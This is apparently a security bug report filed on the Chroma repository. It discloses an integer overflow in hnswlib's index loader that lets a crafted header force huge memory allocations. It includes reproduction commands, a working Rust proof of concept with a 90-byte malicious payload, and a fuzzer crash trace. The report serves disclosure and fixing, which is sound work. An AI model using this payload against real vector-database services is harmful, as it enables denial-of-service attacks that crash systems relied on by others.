[Bug]: hnswlib Uncontrolled Memory Allocation via `size_data_per_element_` Integer Overflow
What happened?
hnswlib Uncontrolled Memory Allocation via size_data_per_element_ Integer Overflow
Author(s): Nabih — Fuzzing Labs ([email protected])
Date: 2026-05-01
Executive Summary
A maliciously crafted HNSW index header causes readPersistedIndexFromStreams() to call malloc(max_elements_ × size_data_per_element_) with no overflow check or upper-bound validation on either operand. Both fields are read verbatim from the attacker-controlled header. The confirmed 90-byte artifact oom-f439d8 triggers a 16 GB allocation (malloc(17,179,868,664)), aborting the process before any read or query occurs.
A second known variant (crash-34219a87 per the fuzz issue) triggers a 18.4-exabyte allocation via size_data_per_element_ = UINT64_MAX, wrapping to 0xfffefffffffe1000 bytes. Both are instant load-time DoS requiring no authentication or search call, confirmed via libFuzzer with PID 6651.
Vulnerability Details
- Severity: High (CVSS 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
- CWE: CWE-190 (Integer Overflow or Wraparound), CWE-789 (Uncontrolled Memory Allocation)
- Affected Component:
hnswlibC++ library (chroma-core/hnswlib, commit802e9b5) —hnswlib/hnswalg.h, functionreadPersistedIndexFromStreams(), line 1262:malloc(max_elements * size_data_per_element_)with no overflow guard
| Component | Version | Notes |
|---|---|---|
hnswlib |
chroma-core/hnswlib master, commit 802e9b5 |
Root cause in hnswlib/hnswalg.h — readPersistedIndexFromStreams() |
| Chroma Rust backend | All versions consuming above | HnswIndex::load_from_hnsw_data() → load_index_from_hnsw_data() (C FFI) |
fuzz_hnsw_load_raw |
rust/index/fuzz/fuzz_targets/fuzz_hnsw_load_raw.rs |
Fuzz harness used for discovery |
Environment
- Distro Version: macOS/AArch64 (Apple M-series)
- Additional Details:
chroma-core/chromarepository —rust/index/crate; hnswlib at commit802e9b5; crash confirmed under libFuzzer with-rss_limit_mb=512
Steps to Reproduce
- Clone the Chroma repository:
git clone https://github.com/chroma-core/chroma cd chroma/rust/index - Build the fuzz target:
cargo +nightly fuzz build fuzz_hnsw_load_raw - Run against the 90-byte OOM artifact with an RSS limit that simulates a container:
cargo +nightly fuzz run fuzz_hnsw_load_raw \ fuzz/artifacts/fuzz_hnsw_load_raw/oom-f439d8158c86b2dc8c6f55e8ade71d6c14af924b \ -- -rss_limit_mb=512
Proof of Concept
use std::sync::Arc;
fn main() {
// 90-byte crafted payload. Framing (first 16 bytes):
// header_len = 38, data0_len = 1, length_len = clamped, links_len = clamped
// HNSW header fields decoded (bytes 16..53):
// persisted_version = 1 (passes PERSISTENCE_VERSION check)
// max_elements_ = 0xffffff7e = 4,294,967,166
// size_data_per_element_ = attacker-controlled
// Resulting malloc: max_elements * size_data_per_element_ = 17,179,868,664 bytes (~16 GB)
let payload: &[u8] = &[
0x26, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x23, 0x00, 0xff, 0x26, 0xff, 0xff, 0xff, 0xff,
0x01, 0x00, 0x00, 0x00, 0x23, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0x7e, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x00,
0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xff, 0xff,
];
let header_len = u32::from_le_bytes(payload[0..4].try_into().unwrap()) as usize;
let header = payload[16..16 + header_len.min(payload.len() - 16)].to_vec();
let hnsw_data = hnswlib::HnswData::builder()
.header_buffer(Arc::new(header))
.data_level0_buffer(Arc::new(vec![0u8]))
.length_buffer(Arc::new(vec![]))
.link_list_buffer(Arc::new(vec![]))
.build()
.unwrap();
let config = hnswlib::HnswIndexMemoryLoadConfig {
distance_function: hnswlib::HnswDistanceFunction::Euclidean,
dimensionality: 1,
ef_search: 10,
};
// This call alone triggers malloc(17,179,868,664). No query required.
// In a memory-constrained environment: libFuzzer/OOM killer aborts the process.
let _ = hnswlib::HnswIndex::load_from_hnsw_data(config, &hnsw_data);
}Root Cause Analysis
The HNSW persisted index header begins with a sequence of attacker-controlled size_t fields deserialized verbatim in readPersistedIndexFromStreams() (hnswalg.h:1229–1252):
persisted_version (int, 4 bytes) ← version check: must equal 1
offsetLevel0_ (size_t, 8 bytes) ← attacker-controlled
max_elements_ (size_t, 8 bytes) ← attacker-controlled
cur_element_count (size_t, 8 bytes) ← attacker-controlled
size_data_per_element_ (size_t, 8 bytes) ← attacker-controlled, NO upper-bound check
...Immediately after reading these fields, the function allocates the level-0 data buffer at hnswalg.h:1262:
data_level0_memory_ = (char *)malloc(max_elements * size_data_per_element_);
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// NO overflow guard. Both operands are attacker-controlled.
if (data_level0_memory_ == nullptr)
throw std::runtime_error("Not enough memory: loadPersistedIndex failed to allocate level0");The only guard is a null check after the allocation is attempted. In a memory-constrained process, the malloc() call triggers the OOM killer or libFuzzer's RSS interceptor before the null check is ever reached.
A second variant (crash-34219a87) sets size_data_per_element_ = 0xffffffffffffffff (UINT64_MAX). Combined with a non-zero max_elements_, the 64-bit multiplication wraps to 0xfffefffffffe1000 (≈ 18.4 EB), which AddressSanitizer intercepts as allocation-size-too-big.
Neither variant requires a search or query call — the process aborts entirely inside load_from_hnsw_data().
Detailed Behavior
cargo +nightly fuzz run fuzz_hnsw_load_raw \
fuzz/artifacts/fuzz_hnsw_load_raw/oom-f439d8158c86b2dc8c6f55e8ade71d6c14af924b \
-- -rss_limit_mb=512==6651== ERROR: libFuzzer: out-of-memory (malloc(17179868664))
To change the out-of-memory limit use -rss_limit_mb=<N>
#0 0x0001050713c4 in __sanitizer_print_stack_trace+0x28 (librustc-nightly_rt.asan.dylib:arm64+0x5d3c4)
#1 0x000104a66400 in fuzzer::PrintStackTrace()+0x30 (fuzz_hnsw_load_raw:arm64+0x100036400)
#2 0x000104a59dc4 in fuzzer::Fuzzer::HandleMalloc(unsigned long)+0x50 (fuzz_hnsw_load_raw:arm64+0x100029dc4)
#3 0x000104a59cb0 in fuzzer::MallocHook(void const volatile*, unsigned long)+0x38 (fuzz_hnsw_load_raw:arm64+0x100029cb0)
#4 0x000105078cd8 in __sanitizer::RunMallocHooks(void*, unsigned long)+0x2c (librustc-nightly_rt.asan.dylib:arm64+0x64cd8)
#5 0x0001050174b0 in __asan::Allocator::Allocate(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType, bool)+0x638 (librustc-nightly_rt.asan.dylib:arm64+0x34b0)
#6 0x000105016e48 in __asan::asan_malloc(unsigned long, __sanitizer::BufferedStackTrace*)+0x28 (librustc-nightly_rt.asan.dylib:arm64+0x2e48)
#7 0x0001050658d0 in malloc+0xd0 (librustc-nightly_rt.asan.dylib:arm64+0x518d0)
#8 0x000104a53f34 in hnswlib::HierarchicalNSW<float>::readPersistedIndexFromStreams(hnswlib::SpaceInterface<float>*, hnswlib::InputPersistenceStreams&, unsigned long)+0x1e4 (fuzz_hnsw_load_raw:arm64+0x100023f34)
#9 0x000104a57498 in hnswlib::HierarchicalNSW<float>::loadPersistedIndexFromMemory(hnswlib::SpaceInterface<float>*, hnswlib::HnswData<char const> const&, unsigned long)+0x148 (fuzz_hnsw_load_raw:arm64+0x100027498)
#10 0x000104a571e0 in hnswlib::HierarchicalNSW<float>::HierarchicalNSW(hnswlib::SpaceInterface<float>*, hnswlib::HnswData<char const> const&, bool, unsigned long, bool, bool)+0x2ac (fuzz_hnsw_load_raw:arm64+0x1000271e0)
#11 0x000104a47b68 in load_index_from_hnsw_data+0x8c (fuzz_hnsw_load_raw:arm64+0x100017b68)
#12 0x000104a3fa28 in hnswlib::hnsw::HnswIndex::load_from_hnsw_data::h112b46f65f994f40+0x328 (fuzz_hnsw_load_raw:arm64+0x10000fa28)
#13 0x000104a31808 in fuzz_hnsw_load_raw::_::__libfuzzer_sys_run::hc4e11127703ff26c fuzz_hnsw_load_raw.rs:93
SUMMARY: libFuzzer: out-of-memoryThe OOM fires at frame #8 — readPersistedIndexFromStreams+0x1e4 — directly at the malloc(max_elements * size_data_per_element_) call for data_level0_memory_. The process aborts before any vector data is read and before any query is attempted.
Source: chroma-core/chroma